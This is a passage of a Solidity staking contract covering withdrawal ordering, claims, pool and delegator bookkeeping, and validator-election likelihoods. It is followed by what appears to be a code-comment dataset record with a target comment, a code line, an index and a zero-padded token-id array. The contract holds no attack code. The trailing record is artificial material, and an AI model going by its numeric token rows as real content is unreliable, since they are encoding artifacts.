newStakeAmountTotal.sub(amount); orderWithdrawEpoch[poolId][delegatorOrZero] = stakingEpoch; } else { uint256 amount = uint256(-_amount); newOrderedAmount = newOrderedAmount.sub(amount); newOrderedAmountTotal = newOrderedAmountTotal.sub(amount); newStakeAmount = newStakeAmount.add(amount); newStakeAmountTotal = newStakeAmountTotal.add(amount); } orderedWithdrawAmount[poolId][delegatorOrZero] = newOrderedAmount; orderedWithdrawAmountTotal[poolId] = newOrderedAmountTotal; stakeAmount[poolId][delegatorOrZero] = newStakeAmount; stakeAmountTotal[poolId] = newStakeAmountTotal; if (staker == _poolStakingAddress) { // Initial validator cannot withdraw their initial stake require(newStakeAmount >= _stakeInitial[poolId]); // The amount to be withdrawn must be the whole staked amount or // must not exceed the diff between the entire amount and `candidateMinStake` require(newStakeAmount == 0 || newStakeAmount >= candidateMinStake); uint256 unremovablePoolId = validatorSetContract.unremovableValidator(); if (_amount > 0) { // if the validator orders the `_amount` for withdrawal if (newStakeAmount == 0 && poolId != unremovablePoolId) { // If the removable validator orders their entire stake, // mark their pool as `to be removed` _addPoolToBeRemoved(poolId); } } else { // If the validator wants to reduce withdrawal value, // add their pool as `active` if it hasn't already done _addPoolActive(poolId, poolId != unremovablePoolId); } } else { // The amount to be withdrawn must be the whole staked amount or // must not exceed the diff between the entire amount and `delegatorMinStake` require(newStakeAmount == 0 || newStakeAmount >= delegatorMinStake); if (_amount > 0) { // if the delegator orders the `_amount` for withdrawal if (newStakeAmount == 0) { // If the delegator orders their entire stake, // remove the delegator from delegator list of the pool _removePoolDelegator(poolId, staker); } } else { // If the delegator wants to reduce withdrawal value, // add them to delegator list of the pool if it hasn't already done _addPoolDelegator(poolId, staker); } // Remember stake movement to use it later in the `claimReward` function _snapshotDelegatorStake(poolId, staker); } _setLikelihood(poolId); emit OrderedWithdrawal(_poolStakingAddress, staker, stakingEpoch, _amount, poolId); } /// @dev Withdraws the staking tokens/coins from the specified pool ordered during the previous staking epochs with /// the `orderWithdraw` function. The ordered amount can be retrieved by the `orderedWithdrawAmount` getter. /// @param _poolStakingAddress The staking address of the pool from which the ordered tokens/coins are withdrawn. function claimOrderedWithdraw(address _poolStakingAddress) external { uint256 poolId = validatorSetContract.idByStakingAddress(_poolStakingAddress); require(poolId != 0); address payable staker = msg.sender; address delegatorOrZero = (staker != _poolStakingAddress) ? staker : address(0); require(stakingEpoch > orderWithdrawEpoch[poolId][delegatorOrZero]); require(!_isPoolBanned(poolId, delegatorOrZero != address(0))); uint256 claimAmount = orderedWithdrawAmount[poolId][delegatorOrZero]; require(claimAmount != 0); orderedWithdrawAmount[poolId][delegatorOrZero] = 0; orderedWithdrawAmountTotal[poolId] = orderedWithdrawAmountTotal[poolId].sub(claimAmount); if (stakeAmount[poolId][delegatorOrZero] == 0) { _withdrawCheckPool(poolId, _poolStakingAddress, staker); } _sendWithdrawnStakeAmount(staker, claimAmount); emit ClaimedOrderedWithdrawal(_poolStakingAddress, staker, stakingEpoch, claimAmount, poolId); } /// @dev Sets (updates) the limit of the minimum candidate stake (CANDIDATE_MIN_STAKE). /// Can only be called by the `owner`. /// @param _minStake The value of a new limit in Wei. function setCandidateMinStake(uint256 _minStake) external onlyOwner onlyInitialized { candidateMinStake = _minStake; } /// @dev Sets (updates) the limit of the minimum delegator stake (DELEGATOR_MIN_STAKE). /// Can only be called by the `owner`. /// @param _minStake The value of a new limit in Wei. function setDelegatorMinStake(uint256 _minStake) external onlyOwner onlyInitialized { delegatorMinStake = _minStake; } // =============================================== Getters ======================================================== /// @dev Returns an array of the current active pools (the pool ids of candidates and validators). /// The size of the array cannot exceed MAX_CANDIDATES. A pool can be added to this array with the `_addPoolActive` /// internal function which is called by the `stake` or `orderWithdraw` function. A pool is considered active /// if its address has at least the minimum stake and this stake is not ordered to be withdrawn. function getPools() external view returns(uint256[] memory) { return _pools; } /// @dev Returns an array of the current inactive pools (the pool ids of former candidates). /// A pool can be added to this array with the `_addPoolInactive` internal function which is called /// by `_removePool`. A pool is considered inactive if it is banned for some reason, if its address /// has zero stake, or if its entire stake is ordered to be withdrawn. function getPoolsInactive() external view returns(uint256[] memory) { return _poolsInactive; } /// @dev Returns the array of stake amounts for each corresponding /// address in the `poolsToBeElected` array (see the `getPoolsToBeElected` getter) and a sum of these amounts. /// Used by the `ValidatorSetAuRa.newValidatorSet` function when randomly selecting new validators at the last /// block of a staking epoch. An array value is updated every time any staked amount is changed in this pool /// (see the `_setLikelihood` internal function). /// @return `uint256[] likelihoods` - The array of the coefficients. The array length is always equal to the length /// of the `poolsToBeElected` array. /// `uint256 sum` - The total sum of the amounts. function getPoolsLikelihood() external view returns(uint256[] memory likelihoods, uint256 sum) { return (_poolsLikelihood, _poolsLikelihoodSum); } /// @dev Returns the list of pools (their ids) which will participate in a new validator set /// selection process in the `ValidatorSetAuRa.newValidatorSet` function. This is an array of pools /// which will be considered as candidates when forming a new validator set (at the last block of a staking epoch). /// This array is kept updated by the `_addPoolToBeElected` and `_deletePoolToBeElected` internal functions. function getPoolsToBeElected() external view returns(uint256[] memory) { return _poolsToBeElected; } /// @dev Returns the list of pools (their ids) which will be removed by the /// `ValidatorSetAuRa.newValidatorSet` function from the active `pools` array (at the last block /// of a staking epoch). This array is kept updated by the `_addPoolToBeRemoved` /// and `_deletePoolToBeRemoved` internal functions. A pool is added to this array when the pool's /// address withdraws (or orders) all of its own staking tokens from the pool, inactivating the pool. function getPoolsToBeRemoved() external view returns(uint256[] memory) { return _poolsToBeRemoved; } /// @dev Returns the list of pool ids into which the specified delegator have ever staked. /// @param _delegator The delegator address. /// @param _offset The index in the array at which the reading should start. Ignored if the `_length` is 0. /// @param _length The max number of items to return. function getDelegatorPools( address _delegator, uint256 _offset, uint256 _length ) external view returns(uint256[] memory result) { uint256[] storage delegatorPools = _delegatorPools[_delegator]; if (_length == 0) { return delegatorPools; } uint256 maxLength = delegatorPools.length.sub(_offset); result = new uint256[](_length > maxLength ? maxLength : _length); for (uint256 i = 0; i < result.length; i++) { result[i] = delegatorPools[_offset + i]; } } /// @dev Returns the length of the list of pools into which the specified delegator have ever staked. /// @param _delegator The delegator address. function getDelegatorPoolsLength(address _delegator) external view returns(uint256) { return _delegatorPools[_delegator].length; } /// @dev Determines whether staking/withdrawal operations are allowed at the moment. /// Used by all staking/withdrawal functions. function areStakeAndWithdrawAllowed() public view returns(bool) { uint256 currentBlock = _getCurrentBlockNumber(); if (currentBlock < stakingEpochStartBlock) return false; uint256 allowedDuration = stakingEpochDuration - stakeWithdrawDisallowPeriod; if (stakingEpochStartBlock == 0) allowedDuration++; return currentBlock - stakingEpochStartBlock < allowedDuration; } /// @dev Returns a boolean flag indicating if the `initialize` function has been called. function isInitialized() public view returns(bool) { return validatorSetContract != IValidatorSetAuRa(0); } /// @dev Returns a flag indicating whether a specified id is in the `pools` array. /// See the `getPools` getter. /// @param _poolId An id of the pool. function isPoolActive(uint256 _poolId) public view returns(bool) { uint256 index = poolIndex[_poolId]; return index < _pools.length && _pools[index] == _poolId; } /// @dev Returns the maximum amount which can be withdrawn from the specified pool by the specified staker /// at the moment. Used by the `withdraw` and `moveStake` functions. /// @param _poolStakingAddress The pool staking address from which the withdrawal will be made. /// @param _staker The staker address that is going to withdraw. function maxWithdrawAllowed(address _poolStakingAddress, address _staker) public view returns(uint256) { uint256 poolId = validatorSetContract.idByStakingAddress(_poolStakingAddress); address delegatorOrZero = (_staker != _poolStakingAddress) ? _staker : address(0); bool isDelegator = _poolStakingAddress != _staker; if (!_isWithdrawAllowed(poolId, isDelegator)) { return 0; } uint256 canWithdraw = stakeAmount[poolId][delegatorOrZero]; if (!isDelegator) { // Initial validator cannot withdraw their initial stake canWithdraw = canWithdraw.sub(_stakeInitial[poolId]); } if (!validatorSetContract.isValidatorOrPending(poolId)) { // The pool is not a validator and is not going to become one, // so the staker can only withdraw staked amount minus already // ordered amount return canWithdraw; } // The pool is a validator (active or pending), so the staker can only // withdraw staked amount minus already ordered amount but // no more than the amount staked during the current staking epoch uint256 stakedDuringEpoch = stakeAmountByCurrentEpoch(poolId, delegatorOrZero); if (canWithdraw > stakedDuringEpoch) { canWithdraw = stakedDuringEpoch; } return canWithdraw; } /// @dev Returns the maximum amount which can be ordered to be withdrawn from the specified pool by the /// specified staker at the moment. Used by the `orderWithdraw` function. /// @param _poolStakingAddress The pool staking address from which the withdrawal will be ordered. /// @param _staker The staker address that is going to order the withdrawal. function maxWithdrawOrderAllowed(address _poolStakingAddress, address _staker) public view returns(uint256) { uint256 poolId = validatorSetContract.idByStakingAddress(_poolStakingAddress); bool isDelegator = _poolStakingAddress != _staker; address delegatorOrZero = isDelegator ? _staker : address(0); if (!_isWithdrawAllowed(poolId, isDelegator)) { return 0; } if (!validatorSetContract.isValidatorOrPending(poolId)) { // If the pool is a candidate (not an active validator and not pending one), // no one can order withdrawal from the `_poolStakingAddress`, but // anyone can withdraw immediately (see the `maxWithdrawAllowed` getter) return 0; } // If the pool is an active or pending validator, the staker can order withdrawal // up to their total staking amount minus an already ordered amount // minus an amount staked during the current staking epoch uint256 canOrder = stakeAmount[poolId][delegatorOrZero]; if (!isDelegator) { // Initial validator cannot withdraw their initial stake canOrder = canOrder.sub(_stakeInitial[poolId]); } return canOrder.sub(stakeAmountByCurrentEpoch(poolId, delegatorOrZero)); } /// @dev Returns an array of the current active delegators of the specified pool. /// A delegator is considered active if they have staked into the specified /// pool and their stake is not ordered to be withdrawn. /// @param _poolId The pool id. function poolDelegators(uint256 _poolId) public view returns(address[] memory) { return _poolDelegators[_poolId]; } /// @dev Returns an array of the current inactive delegators of the specified pool. /// A delegator is considered inactive if their entire stake is ordered to be withdrawn /// but not yet claimed. /// @param _poolId The pool id. function poolDelegatorsInactive(uint256 _poolId) public view returns(address[] memory) { return _poolDelegatorsInactive[_poolId]; } /// @dev Returns the amount of staking tokens/coins staked into the specified pool by the specified staker /// during the current staking epoch (see the `stakingEpoch` getter). /// Used by the `stake`, `withdraw`, and `orderWithdraw` functions. /// @param _poolId The pool id. /// @param _delegatorOrZero The delegator's address (or zero address if the staker is the pool itself). function stakeAmountByCurrentEpoch(uint256 _poolId, address _delegatorOrZero) public view returns(uint256) { return _stakeAmountByEpoch[_poolId][_delegatorOrZero][stakingEpoch]; } /// @dev Returns the number of the last block of the current staking epoch. function stakingEpochEndBlock() public view returns(uint256) { uint256 startBlock = stakingEpochStartBlock; return startBlock + stakingEpochDuration - (startBlock == 0 ? 0 : 1); } // ============================================== Internal ======================================================== /// @dev Adds the specified pool id to the array of active pools returned by /// the `getPools` getter. Used by the `stake`, `addPool`, and `orderWithdraw` functions. /// @param _poolId The pool id added to the array of active pools. /// @param _toBeElected The boolean flag which defines whether the specified id should be /// added simultaneously to the `poolsToBeElected` array. See the `getPoolsToBeElected` getter. function _addPoolActive(uint256 _poolId, bool _toBeElected) internal { if (!isPoolActive(_poolId)) { poolIndex[_poolId] = _pools.length; _pools.push(_poolId); require(_pools.length <= _getMaxCandidates()); } _removePoolInactive(_poolId); if (_toBeElected) { _addPoolToBeElected(_poolId); } } /// @dev Adds the specified pool id to the array of inactive pools returned by /// the `getPoolsInactive` getter. Used by the `_removePool` internal function. /// @param _poolId The pool id added to the array of inactive pools. function _addPoolInactive(uint256 _poolId) internal { uint256 index = poolInactiveIndex[_poolId]; uint256 length = _poolsInactive.length; if (index >= length || _poolsInactive[index] != _poolId) { poolInactiveIndex[_poolId] = length; _poolsInactive.push(_poolId); } } /// @dev Adds the specified pool id to the array of pools returned by the `getPoolsToBeElected` /// getter. Used by the `_addPoolActive` internal function. See the `getPoolsToBeElected` getter. /// @param _poolId The pool id added to the `poolsToBeElected` array. function _addPoolToBeElected(uint256 _poolId) internal { uint256 index = poolToBeElectedIndex[_poolId]; uint256 length = _poolsToBeElected.length; if (index >= length || _poolsToBeElected[index] != _poolId) { poolToBeElectedIndex[_poolId] = length; _poolsToBeElected.push(_poolId); _poolsLikelihood.push(0); // assumes the likelihood is set with `_setLikelihood` function hereinafter } _deletePoolToBeRemoved(_poolId); } /// @dev Adds the specified pool id to the array of pools returned by the `getPoolsToBeRemoved` /// getter. Used by withdrawal functions. See the `getPoolsToBeRemoved` getter. /// @param _poolId The pool id added to the `poolsToBeRemoved` array. function _addPoolToBeRemoved(uint256 _poolId) internal { uint256 index = poolToBeRemovedIndex[_poolId]; uint256 length = _poolsToBeRemoved.length; if (index >= length || _poolsToBeRemoved[index] != _poolId) { poolToBeRemovedIndex[_poolId] = length; _poolsToBeRemoved.push(_poolId); } _deletePoolToBeElected(_poolId); } /// @dev Deletes the specified pool id from the array of pools returned by the /// `getPoolsToBeElected` getter. Used by the `_addPoolToBeRemoved` and `_removePool` internal functions. /// See the `getPoolsToBeElected` getter. /// @param _poolId The pool id deleted from the `poolsToBeElected` array. function _deletePoolToBeElected(uint256 _poolId) internal { if (_poolsToBeElected.length != _poolsLikelihood.length) return; uint256 indexToDelete = poolToBeElectedIndex[_poolId]; if (_poolsToBeElected.length > indexToDelete && _poolsToBeElected[indexToDelete] == _poolId) { if (_poolsLikelihoodSum >= _poolsLikelihood[indexToDelete]) { _poolsLikelihoodSum -= _poolsLikelihood[indexToDelete]; } else { _poolsLikelihoodSum = 0; } uint256 lastPoolIndex = _poolsToBeElected.length - 1; uint256 lastPool = _poolsToBeElected[lastPoolIndex]; _poolsToBeElected[indexToDelete] = lastPool; _poolsLikelihood[indexToDelete] = _poolsLikelihood[lastPoolIndex]; poolToBeElectedIndex[lastPool] = indexToDelete; poolToBeElectedIndex[_poolId] = 0; _poolsToBeElected.length--; _poolsLikelihood.length--; } } /// @dev Deletes the specified pool id from the array of pools returned by the /// `getPoolsToBeRemoved` getter. Used by the `_addPoolToBeElected` and `_removePool` internal functions. /// See the `getPoolsToBeRemoved` getter. /// @param _poolId The pool id deleted from the `poolsToBeRemoved` array. function _deletePoolToBeRemoved(uint256 _poolId) internal { uint256 indexToDelete = poolToBeRemovedIndex[_poolId]; if (_poolsToBeRemoved.length > indexToDelete && _poolsToBeRemoved[indexToDelete] == _poolId) { uint256 lastPool = _poolsToBeRemoved[_poolsToBeRemoved.length - 1]; _poolsToBeRemoved[indexToDelete] = lastPool; poolToBeRemovedIndex[lastPool] = indexToDelete; poolToBeRemovedIndex[_poolId] = 0; _poolsToBeRemoved.length--; } } /// @dev Removes the specified pool id from the array of active pools returned by /// the `getPools` getter. Used by the `removePool`, `removeMyPool`, and withdrawal functions. /// @param _poolId The pool id removed from the array of active pools. function _removePool(uint256 _poolId) internal { uint256 indexToRemove = poolIndex[_poolId]; if (_pools.length > indexToRemove && _pools[indexToRemove] == _poolId) { uint256 lastPool = _pools[_pools.length - 1]; _pools[indexToRemove] = lastPool; poolIndex[lastPool] = indexToRemove; poolIndex[_poolId] = 0; _pools.length--; } if (_isPoolEmpty(_poolId)) { _removePoolInactive(_poolId); } else { _addPoolInactive(_poolId); } _deletePoolToBeElected(_poolId); _deletePoolToBeRemoved(_poolId); lastChangeBlock = _getCurrentBlockNumber(); } /// @dev Removes the specified pool id from the array of inactive pools returned by /// the `getPoolsInactive` getter. Used by withdrawal functions, by the `_addPoolActive` and /// `_removePool` internal functions. /// @param _poolId The pool id removed from the array of inactive pools. function _removePoolInactive(uint256 _poolId) internal { uint256 indexToRemove = poolInactiveIndex[_poolId]; if (_poolsInactive.length > indexToRemove && _poolsInactive[indexToRemove] == _poolId) { uint256 lastPool = _poolsInactive[_poolsInactive.length - 1]; _poolsInactive[indexToRemove] = lastPool; poolInactiveIndex[lastPool] = indexToRemove; poolInactiveIndex[_poolId] = 0; _poolsInactive.length--; } } /// @dev Used by `addPool` and `onTokenTransfer` functions. See their descriptions and code. /// @param _amount The amount of tokens to be staked. Ignored when staking in native coins /// because `msg.value` is used in that case. /// @param _stakingAddress The staking address of the new candidate. /// @param _miningAddress The mining address of the candidate. The mining address is bound to the staking address /// (msg.sender). This address cannot be equal to `_stakingAddress`. /// @param _byOnTokenTransfer A boolean flag defining whether this internal function is called /// by the `onTokenTransfer` function. /// @param _name A name of the pool as UTF-8 string (max length is 256 bytes). /// @param _description A short description of the pool as UTF-8 string (max length is 1024 bytes). function _addPool( uint256 _amount, address _stakingAddress, address _miningAddress, bool _byOnTokenTransfer, string memory _name, string memory _description ) internal returns(uint256) { uint256 poolId = validatorSetContract.addPool(_miningAddress, _stakingAddress, _name, _description); if (_byOnTokenTransfer) { _stake(_stakingAddress, _stakingAddress, _amount); } else { _stake(_stakingAddress, _amount); } emit AddedPool(_stakingAddress, _miningAddress, poolId); return poolId; } /// @dev Adds the specified address to the array of the current active delegators of the specified pool. /// Used by the `stake` and `orderWithdraw` functions. See the `poolDelegators` getter. /// @param _poolId The pool id. /// @param _delegator The delegator's address. function _addPoolDelegator(uint256 _poolId, address _delegator) internal { address[] storage delegators = _poolDelegators[_poolId]; uint256 index = poolDelegatorIndex[_poolId][_delegator]; uint256 length = delegators.length; if (index >= length || delegators[index] != _delegator) { poolDelegatorIndex[_poolId][_delegator] = length; delegators.push(_delegator); } _removePoolDelegatorInactive(_poolId, _delegator); } /// @dev Adds the specified address to the array of the current inactive delegators of the specified pool. /// Used by the `_removePoolDelegator` internal function. /// @param _poolId The pool id. /// @param _delegator The delegator's address. function _addPoolDelegatorInactive(uint256 _poolId, address _delegator) internal { address[] storage delegators = _poolDelegatorsInactive[_poolId]; uint256 index = poolDelegatorInactiveIndex[_poolId][_delegator]; uint256 length = delegators.length; if (index >= length || delegators[index] != _delegator) { poolDelegatorInactiveIndex[_poolId][_delegator] = length; delegators.push(_delegator); } } /// @dev Removes the specified address from the array of the current active delegators of the specified pool. /// Used by the withdrawal functions. See the `poolDelegators` getter. /// @param _poolId The pool id. /// @param _delegator The delegator's address. function _removePoolDelegator(uint256 _poolId, address _delegator) internal { address[] storage delegators = _poolDelegators[_poolId]; uint256 indexToRemove = poolDelegatorIndex[_poolId][_delegator]; if (delegators.length > indexToRemove && delegators[indexToRemove] == _delegator) { address lastDelegator = delegators[delegators.length - 1]; delegators[indexToRemove] = lastDelegator; poolDelegatorIndex[_poolId][lastDelegator] = indexToRemove; poolDelegatorIndex[_poolId][_delegator] = 0; delegators.length--; } if (orderedWithdrawAmount[_poolId][_delegator] != 0) { _addPoolDelegatorInactive(_poolId, _delegator); } else { _removePoolDelegatorInactive(_poolId, _delegator); } } /// @dev Removes the specified address from the array of the inactive delegators of the specified pool. /// Used by the `_addPoolDelegator` and `_removePoolDelegator` internal functions. /// @param _poolId The pool id. /// @param _delegator The delegator's address. function _removePoolDelegatorInactive(uint256 _poolId, address _delegator) internal { address[] storage delegators = _poolDelegatorsInactive[_poolId]; uint256 indexToRemove = poolDelegatorInactiveIndex[_poolId][_delegator]; if (delegators.length > indexToRemove && delegators[indexToRemove] == _delegator) { address lastDelegator = delegators[delegators.length - 1]; delegators[indexToRemove] = lastDelegator; poolDelegatorInactiveIndex[_poolId][lastDelegator] = indexToRemove; poolDelegatorInactiveIndex[_poolId][_delegator] = 0; delegators.length--; } } function _sendWithdrawnStakeAmount(address payable _to, uint256 _amount) internal; /// @dev Calculates (updates) the probability of being selected as a validator for the specified pool /// and updates the total sum of probability coefficients. Actually, the probability is equal to the /// amount totally staked into the pool. See the `getPoolsLikelihood` getter. /// Used by the staking and withdrawal functions. /// @param _poolId An id of the pool for which the probability coefficient must be updated. function _setLikelihood(uint256 _poolId) internal { lastChangeBlock = _getCurrentBlockNumber(); (bool isToBeElected, uint256 index) = _isPoolToBeElected(_poolId); if (!isToBeElected) return; uint256 oldValue = _poolsLikelihood[index]; uint256 newValue = stakeAmountTotal[_poolId]; _poolsLikelihood[index] = newValue; if (newValue >= oldValue) { _poolsLikelihoodSum = _poolsLikelihoodSum.add(newValue - oldValue); } else { _poolsLikelihoodSum = _poolsLikelihoodSum.sub(oldValue - newValue); } } /// @dev Makes a snapshot of the amount currently staked by the specified delegator /// into the specified pool. Used by the `orderWithdraw`, `_stake`, and `_withdraw` functions. /// @param _poolId An id of the pool. /// @param _delegator The address of the delegator. function _snapshotDelegatorStake(uint256 _poolId, address _delegator) internal { uint256 nextStakingEpoch = stakingEpoch + 1; uint256 newAmount = stakeAmount[_poolId][_delegator]; delegatorStakeSnapshot[_poolId][_delegator][nextStakingEpoch] = (newAmount != 0) ? newAmount : uint256(-1); if (stakeFirstEpoch[_poolId][_delegator] == 0) { stakeFirstEpoch[_poolId][_delegator] = nextStakingEpoch; } stakeLastEpoch[_poolId][_delegator] = (newAmount == 0) ? nextStakingEpoch : 0; } function _stake(address _toPoolStakingAddress, uint256 _amount) internal; /// @dev The internal function used by the `_stake`, `moveStake`, `initialValidatorStake`, `_addPool` functions. /// See the `stake` public function for more details. /// @param _poolStakingAddress The staking address of the pool where the tokens/coins should be staked. /// @param _staker The staker's address. /// @param _amount The amount of tokens/coins to be staked. function _stake( address _poolStakingAddress, address _staker, uint256 _amount ) internal gasPriceIsValid onlyInitialized { uint256 poolId = validatorSetContract.idByStakingAddress(_poolStakingAddress); require(_poolStakingAddress != address(0)); require(poolId != 0); require(_amount != 0); require(!validatorSetContract.isValidatorIdBanned(poolId)); require(areStakeAndWithdrawAllowed()); address delegatorOrZero = (_staker != _poolStakingAddress) ? _staker : address(0); uint256 newStakeAmount = stakeAmount[poolId][delegatorOrZero].add(_amount); if (_staker == _poolStakingAddress) { // The staked amount must be at least CANDIDATE_MIN_STAKE require(newStakeAmount >= candidateMinStake); } else { // The staked amount must be at least DELEGATOR_MIN_STAKE require(newStakeAmount >= delegatorMinStake); // The delegator cannot stake into the pool of the candidate which hasn't self-staked. // Also, that candidate shouldn't want to withdraw all their funds. require(stakeAmount[poolId][address(0)] != 0); } stakeAmount[poolId][delegatorOrZero] = newStakeAmount; _stakeAmountByEpoch[poolId][delegatorOrZero][stakingEpoch] = stakeAmountByCurrentEpoch(poolId, delegatorOrZero).add(_amount); stakeAmountTotal[poolId] = stakeAmountTotal[poolId].add(_amount); if (_staker == _poolStakingAddress) { // `staker` places a stake for himself and becomes a candidate // Add `_poolStakingAddress` to the array of pools _addPoolActive(poolId, poolId != validatorSetContract.unremovableValidator()); } else { // Add `_staker` to the array of pool's delegators _addPoolDelegator(poolId, _staker); // Save/update amount value staked by the delegator _snapshotDelegatorStake(poolId, _staker); // Remember that the delegator (`_staker`) has ever staked into `_poolStakingAddress` uint256[] storage delegatorPools = _delegatorPools[_staker]; uint256 delegatorPoolsLength = delegatorPools.length; uint256 index = _delegatorPoolsIndexes[_staker][poolId]; bool neverStakedBefore = index >= delegatorPoolsLength || delegatorPools[index] != poolId; if (neverStakedBefore) { _delegatorPoolsIndexes[_staker][poolId] = delegatorPoolsLength; delegatorPools.push(poolId); } if (delegatorPoolsLength == 0) { // If this is the first time the delegator stakes, // make sure the delegator has never been a mining address require(validatorSetContract.hasEverBeenMiningAddress(_staker) == 0); } } _setLikelihood(poolId); emit PlacedStake(_poolStakingAddress, _staker, stakingEpoch, _amount, poolId); } /// @dev The internal function used by the `withdraw` and `moveStake` functions. /// See the `withdraw` public function for more details. /// @param _poolStakingAddress The staking address of the pool from which the tokens/coins should be withdrawn. /// @param _staker The staker's address. /// @param _amount The amount of the tokens/coins to be withdrawn. function _withdraw( address _poolStakingAddress, address _staker, uint256 _amount ) internal gasPriceIsValid onlyInitialized { uint256 poolId = validatorSetContract.idByStakingAddress(_poolStakingAddress); require(_poolStakingAddress != address(0)); require(_amount != 0); require(poolId != 0); // How much can `_staker` withdraw from `_poolStakingAddress` at the moment? require(_amount <= maxWithdrawAllowed(_poolStakingAddress, _staker)); address delegatorOrZero = (_staker != _poolStakingAddress) ? _staker : address(0); uint256 newStakeAmount = stakeAmount[poolId][delegatorOrZero].sub(_amount); // The amount to be withdrawn must be the whole staked amount or // must not exceed the diff between the entire amount and min allowed stake uint256 minAllowedStake; if (_poolStakingAddress == _staker) { // initial validator cannot withdraw their initial stake require(newStakeAmount >= _stakeInitial[poolId]); minAllowedStake = candidateMinStake; } else { minAllowedStake = delegatorMinStake; } require(newStakeAmount == 0 || newStakeAmount >= minAllowedStake); stakeAmount[poolId][delegatorOrZero] = newStakeAmount; uint256 amountByEpoch = stakeAmountByCurrentEpoch(poolId, delegatorOrZero); _stakeAmountByEpoch[poolId][delegatorOrZero][stakingEpoch] = amountByEpoch >= _amount ? amountByEpoch - _amount : 0; stakeAmountTotal[poolId] = stakeAmountTotal[poolId].sub(_amount); if (newStakeAmount == 0) { _withdrawCheckPool(poolId, _poolStakingAddress, _staker); } if (_staker != _poolStakingAddress) { _snapshotDelegatorStake(poolId, _staker); } _setLikelihood(poolId); } /// @dev The internal function used by the `_withdraw` and `claimOrderedWithdraw` functions. /// Contains a common logic for these functions. /// @param _poolId The id of the pool from which the tokens/coins are withdrawn. /// @param _poolStakingAddress The staking address of the pool from which the tokens/coins are withdrawn. /// @param _staker The staker's address. function _withdrawCheckPool(uint256 _poolId, address _poolStakingAddress, address _staker) internal { if (_staker == _poolStakingAddress) { uint256 unremovablePoolId = validatorSetContract.unremovableValidator(); if (_poolId != unremovablePoolId) { if (validatorSetContract.isValidatorById(_poolId)) { _addPoolToBeRemoved(_poolId); } else { _removePool(_poolId); } } } else { _removePoolDelegator(_poolId, _staker); if (_isPoolEmpty(_poolId)) { _removePoolInactive(_poolId); } } } /// @dev Returns the current block number. Needed mostly for unit tests. function _getCurrentBlockNumber() internal view returns(uint256) { return block.number; } /// @dev The internal function used by the `claimReward` function and `getRewardAmount` getter. /// Finds the stake amount made by a specified delegator into a specified pool before a specified /// staking epoch. function _getDelegatorStake( uint256 _epoch, uint256 _firstEpoch, uint256 _prevDelegatorStake, uint256 _poolId, address _delegator ) internal view returns(uint256 delegatorStake) { while (true) { delegatorStake = delegatorStakeSnapshot[_poolId][_delegator][_epoch]; if (delegatorStake != 0) { delegatorStake = (delegatorStake == uint256(-1)) ? 0 : delegatorStake; break; } else if (_epoch == _firstEpoch) { delegatorStake = _prevDelegatorStake; break; } _epoch--; } } /// @dev Returns the max number of candidates (including validators). See the MAX_CANDIDATES constant. /// Needed mostly for unit tests. function _getMaxCandidates() internal pure returns(uint256) { return MAX_CANDIDATES; } /// @dev Returns a boolean flag indicating whether the specified pool is fully empty /// (all stakes are withdrawn including ordered withdrawals). /// @param _poolId An id of the pool. function _isPoolEmpty(uint256 _poolId) internal view returns(bool) { return stakeAmountTotal[_poolId] == 0 && orderedWithdrawAmountTotal[_poolId] == 0; } /// @dev Determines if the specified pool is in the `poolsToBeElected` array. See the `getPoolsToBeElected` getter. /// Used by the `_setLikelihood` internal function. /// @param _poolId An id of the pool. /// @return `bool toBeElected` - The boolean flag indicating whether the `_poolId` is in the /// `poolsToBeElected` array. /// `uint256 index` - The position of the item in the `poolsToBeElected` array if `toBeElected` is `true`. function _isPoolToBeElected(uint256 _poolId) internal view returns(bool toBeElected, uint256 index) { index = poolToBeElectedIndex[_poolId]; if (_poolsToBeElected.length > index && _poolsToBeElected[index] == _poolId) { return (true, index); } return (false, 0); } /// @dev Returns `true` if the specified pool is banned or the pool is under a governance ballot. /// Used by the `_isWithdrawAllowed` internal function and the `claimOrderedWithdraw` function. /// @param _poolId An id of the validator's pool. /// @param _isDelegator Whether the withdrawal is requested by a delegator, not by a candidate/validator. function _isPoolBanned(uint256 _poolId, bool _isDelegator) internal view returns(bool) { if (_isDelegator) { if (validatorSetContract.areIdDelegatorsBanned(_poolId)) { // The delegator cannot withdraw from the banned validator pool until the ban is expired return true; } } else { if (validatorSetContract.isValidatorIdBanned(_poolId)) { // The banned validator cannot withdraw from their pool until the ban is expired return true; } else if (governanceContract != IGovernance(0) && governanceContract.isValidatorUnderBallot(_poolId)) { // There is an active ballot in the Governance contract for this validator removal return true; } } return false; } /// @dev Returns `true` if withdrawal from the pool of the specified candidate/validator is allowed at the moment. /// Used by all withdrawal functions. /// @param _poolId An id of the validator's pool. /// @param _isDelegator Whether the withdrawal is requested by a delegator, not by a candidate/validator. function _isWithdrawAllowed(uint256 _poolId, bool _isDelegator) internal view returns(bool) { if (_isPoolBanned(_poolId, _isDelegator)) { return false; } if (!areStakeAndWithdrawAllowed()) { return false; } return true; } /// @dev Returns the balance of this contract in staking tokens or coins /// depending on implementation. function _thisBalance() internal view returns(uint256); }
Save/update amount value staked by the delegator
_snapshotDelegatorStake(poolId, _staker);
13,081,032
[ 1, 4755, 19, 2725, 3844, 460, 384, 9477, 635, 326, 11158, 639, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
